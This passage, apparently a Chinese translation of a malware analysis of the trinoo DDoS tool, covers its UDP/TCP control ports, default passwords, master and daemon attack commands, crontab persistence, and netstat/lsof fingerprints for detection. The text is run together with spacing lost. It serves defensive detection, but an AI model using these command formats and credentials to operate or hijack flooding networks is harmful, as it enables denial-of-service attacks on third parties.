口令（"betaalmostdone”）。如果在已有人通過(guò)驗(yàn)證時(shí)又有另外的連接建立，則一個(gè)包含正在連接IP地址的警告信息會(huì)發(fā)送到已連接主機(jī)（程序提供的IP地址似乎有錯(cuò)，但警告信息仍被發(fā)送）。毫無(wú)疑問(wèn)地，這個(gè)功能最終的完整實(shí)現(xiàn)將能給予攻擊者足夠的時(shí)間在離開(kāi)之前清除痕跡。從trinoo主服務(wù)器到守護(hù)程序的連接是在27444/UDP端口上實(shí)現(xiàn)。命令行格式如下：arglpasswordarg2其中缺省的口令是"l44adsl”，只有包含此口令子串"144"的命令行會(huì)被執(zhí)行。

從trinoo守護(hù)程序到主服務(wù)器的連接是在31335/UDP端口上實(shí)現(xiàn)。當(dāng)守護(hù)程序啟動(dòng)時(shí)，它將發(fā)送初始化字符串”*HELLO*”到主服務(wù)器。主服務(wù)器會(huì)(通過(guò)"sniffit"程序捕獲)記錄并維護(hù)已激活的守護(hù)程序清單：UDPPacketID(from_IP.port-to_IP.port):.32876-.3133545E00.00.23#B1.5D]40@00.F8.11.B9.27.C0.A8.00.01.0A.00.00.01.80.6Cl7Az67g00.0F.06.D4.2A*48H45E4CL4CL4FO2A*如果trinoo主服務(wù)器通過(guò)27444/UDP端口向一個(gè)守護(hù)程序發(fā)送"png"命令，該守護(hù)程序?qū)⑼ㄟ^(guò)31335/UDP端口向發(fā)送"png"命令的主機(jī)返回字符串"PONG"：UDPPacketID(from_IP.port-to_IP.port):.1024-.2744445E00.00.27'1A.AE.00.00.40@11.47GD4.0A.00.00.01.C0.A8.00.01.04.00.6Bk34400.13.2F/B7.70p6En67g206Cl34434461a64d73s6ClUDPPacketID(from_IP.port-to_IP.port):.32879-.3133545E00.00.2013.81.40@00.F8.11.57W07.C0.A8.00.01.0A.00.00.01.80.6Fo7Az67g00.0C.4EN24$50P4FO4EN47G口令保護(hù)主服務(wù)器和守護(hù)程序都有口令保護(hù)，以阻止系統(tǒng)管理員（或其他黑客組織）得到該trinoo網(wǎng)絡(luò)的控制權(quán)?？诹钍褂胏rypt（）函數(shù)加密。這是一種對(duì)稱(chēng)式加密方式。經(jīng)過(guò)加密的口令保存在已編譯的主服務(wù)器和守護(hù)程序中，并與以明文方式在網(wǎng)絡(luò)中傳輸?shù)目诹畋容^（目前的版本并沒(méi)有加密通訊會(huì)話，因此不難截獲在主服務(wù)器TCP控制會(huì)話中傳送的明文口令。初始化運(yùn)行時(shí)，出現(xiàn)主守護(hù)進(jìn)程提示符，將等待輸入口令。如果口令不正確，程序退出;如果口令正確，提示進(jìn)程正在運(yùn)行，然后產(chǎn)生子進(jìn)程在后臺(tái)運(yùn)行，最后退出：

#./master??wrongpassword#?.?#./master??gOravetrinoov1.07d2+f3+c[Sep261999:10:09:24]#與此類(lèi)似地，當(dāng)連接到遠(yuǎn)程命令端口(27665/TCP)時(shí)，你也必須輸入口令:attacker$telnet27665TryingConnectedtoEscapecharacteris'△]'.kwijiboConnectionclosedbyforeignhost.■■■attacker$telnet27665TryingConnectedtoEscapecharacteris'△]'.betaalmostdonetrinoov1.07d2+f3+c..[rpm8d/cb4Sx/]

從主服務(wù)器發(fā)送到trinoo守護(hù)程序的某些命令也會(huì)有口令保護(hù)。這些口令在主服務(wù)器與守護(hù)程序間又明文形式傳送。缺省的口令如下："l44adsl"trino守護(hù)程序口令"gOrave"trinoo主服務(wù)器啟動(dòng)（提示"??"）"betaalmostdone"trinoo主服務(wù)器遠(yuǎn)程接口口令"killme"trinoo主服務(wù)器控制指令"mdie"驗(yàn)證口令主服務(wù)器命令rinoo主服務(wù)器支持以下命令：die關(guān)閉主服務(wù)器quit退出主服務(wù)器登錄mtimerN設(shè)置DoS定時(shí)器為N秒。N的取值范圍從1到1999秒。如果N<1，2000，則使用缺省值500。dosIPDoS攻擊目標(biāo)IP地址。命令"aaa144adslIP"被發(fā)送到每一個(gè)守護(hù)程序（Bcast主機(jī)），通知它們攻擊指定的IP地址。mdiepass如果口令驗(yàn)證通過(guò)，則停止所有廣播（Bcast）主機(jī)。命令"d1e144adsl”被發(fā)送到每一個(gè)廣播主機(jī)，使它們停止。此命令需要一個(gè)單獨(dú)的口令。mping發(fā)送PING命令"png144adsl"到每一臺(tái)已激活的廣播主機(jī)。mdos向每一個(gè)廣播主機(jī)發(fā)送多DoS攻擊命令（"xyz144adsl123:ip1:ip2:ip3”）。

info打印版本和編譯信息。如:Thisisthe"trinoo"AKADoSProjectmasterserverversionv1.07d2+f3+cCompiled15:08:41Aug161999msize設(shè)置DoS攻擊時(shí)使用的數(shù)據(jù)包緩沖區(qū)大小。nslookuphost對(duì)指定的主機(jī)進(jìn)行域名查詢。killdead嘗試清除死鎖的廣播主機(jī)。首先向所有已知的廣播主機(jī)發(fā)送"shil44adsl”命令。（任何處于激活狀態(tài)的守護(hù)程序會(huì)回送初始化字符串”*HELLO*”。）然后（通過(guò)-b參數(shù)）修改廣播主機(jī)清單文件名字。這樣當(dāng)"*HELLO*"包被接收后能夠重新初始化。usebackup切換到由"killdead"命令建立的廣播主機(jī)備份文件。bcast列出所有激活的廣播主機(jī)。help[cmd]服務(wù)器或命令的幫助信息，mstop試圖停止一個(gè)DoS攻擊（此現(xiàn)在尚未實(shí)現(xiàn)，但在help命令中列出。）守護(hù)程序命令Trinoo守護(hù)程序支持以下命令：aaapassIP攻擊指定的IP地址。按固定的時(shí)間間隔（缺省為120秒，或"bbb"命令設(shè)定的1-1999值）向指定IP地址的隨機(jī)UDP端口（0-65534）發(fā)送UDP數(shù)據(jù)包。數(shù)據(jù)包大小由"rsz"命令指定，缺省為1000字節(jié)。bbbpassN設(shè)置DoS攻擊的時(shí)間限制（單位：秒）。

shipass通過(guò)31335/UDP端口向已編譯到文件中的主服務(wù)器發(fā)送字符串”*HELLO*”。pngpass通過(guò)31335/UDP端口向主服務(wù)器發(fā)送字符串"PONG”。diepass關(guān)閉trinoo守護(hù)程序rszN設(shè)置DoS攻擊的緩沖區(qū)大小為N字節(jié)°（Trinoo守護(hù)程序調(diào)用malloc（）分配該大小的緩沖區(qū)，然后發(fā)送隨機(jī)的數(shù)據(jù)包內(nèi)容進(jìn)行攻擊。）xyzpass123:ip1:ip2:ip3多個(gè)DoS攻擊。類(lèi)似"aaa"命令，但可以同時(shí)攻擊多個(gè)IP地址。工具特征最常使用的安裝trinoo守護(hù)程序的方法是在系統(tǒng)中添加crontab項(xiàng)，以使守護(hù)程序能在每分鐘均在運(yùn)行。檢查crontab文件會(huì)發(fā)現(xiàn)如下內(nèi)容：*****/usr/sbin/rpc.listen主服務(wù)器程序會(huì)建立一個(gè)包含廣播主機(jī)清單的文件（缺省文件名為"..."）。如果使用了"killdead”，向"..."文件中的所有守護(hù)程序發(fā)送"shi"命令會(huì)使這些守護(hù)程序向所有的主服務(wù)器發(fā)送初始化字符串"*HELLO*"。然后這個(gè)清單文件被改名（缺省為”...-b”），而根據(jù)每一個(gè)發(fā)送了"*HELLO*"字符串（激活狀態(tài)）的守護(hù)程序生成新的清單文件。源代碼（"master.c”）包含以下程序行：/*cryptkeyencryptedwiththekey'bored'(sohexeditcannotgetkeyeasily?)commentoutfornoencryption...*/#defineCRYPTKEY"ZsoTN.cq4X31”

如果程序編譯時(shí)指定了解CRYPTKEY變量，則廣播主機(jī)的IP地址將使用Blowfish算法加密：ls-l-b-rw1rootroot25Sep2614:46...-rw1rootroot50Sep2614:30...-bcat...JPbUc05Swk/0gMvui18BrFH/cat...-baE5sK0PIFws0Y0EhH02fLVK.JPbUc05Swk/0gMvui18BrFH/假設(shè)沒(méi)有使用rootkit隱藏進(jìn)程，主服務(wù)器可以顯示出以下網(wǎng)絡(luò)套接字特征指紋（當(dāng)然，程序的名稱(chēng)和路徑名會(huì)有所不同。）：#netstat-a--inetActiveInternetconnections(serversandestablished)ProtoRecv-QSend-QLocalAddressForeignAddressStatetcp00*:27665*:*LISTEN...udp00*:31335*:*#lsof|egrep":31335|:27665"master1292root3uinet2460UDP*:31335master1292root4uinet2461TCP*:27665(LISTEN)#lsof-p1292COMMANDPIDUSERFDTYPEDEVICESIZENODENAMEmaster1292rootcwdDIR3,1102414356/tmp/...master1292rootrtdDIR3,110242/master1292roottxtREG3tmp/.../mastermaster1292rootmemREG3,134220628976/lib/ld-2.1.1.somaster1292rootmemREG3,16387829116/lib/libcrypt-2.1.1.somaster1292rootmemREG3,1401668329115/lib/libc-2.1.1.somaster1292root0uCHR4,12967/dev/tty1master1292root1uCHR4,12967/dev/tty1master1292root2uCHR4,12967/dev/tty1master1292root3uinet2534UDP*:31335master1292root4uinet2535TCP*:27665(LISTEN)而運(yùn)行了守護(hù)程序的系統(tǒng)會(huì)顯示以下特征指紋:#netstat-a--inetActiveInternetconnections(serversandestablished)ProtoRecv-QSend-QLocalAddressForeignAddressStateudp00*:1024*:*udp00*:27444*:*???#Isof|egrep":27444"ns1316root3uinet2502UDP*:27444#Isof-p1316COMMANDPIDUSERFDTYPEDEVICESIZENODENAMEns1316rootcwdDIR3,11024153694/tmp/...ns1316rootrtdDIR3,110242/ns1316roottxtREG3,16156153711/tmp/.../nsns1316rootmemREG3,134220628976/lib/ld-2.1.1.sons1316rootmemREG3,16387829116/lib/libcrypt-2.1.1.sons1316roo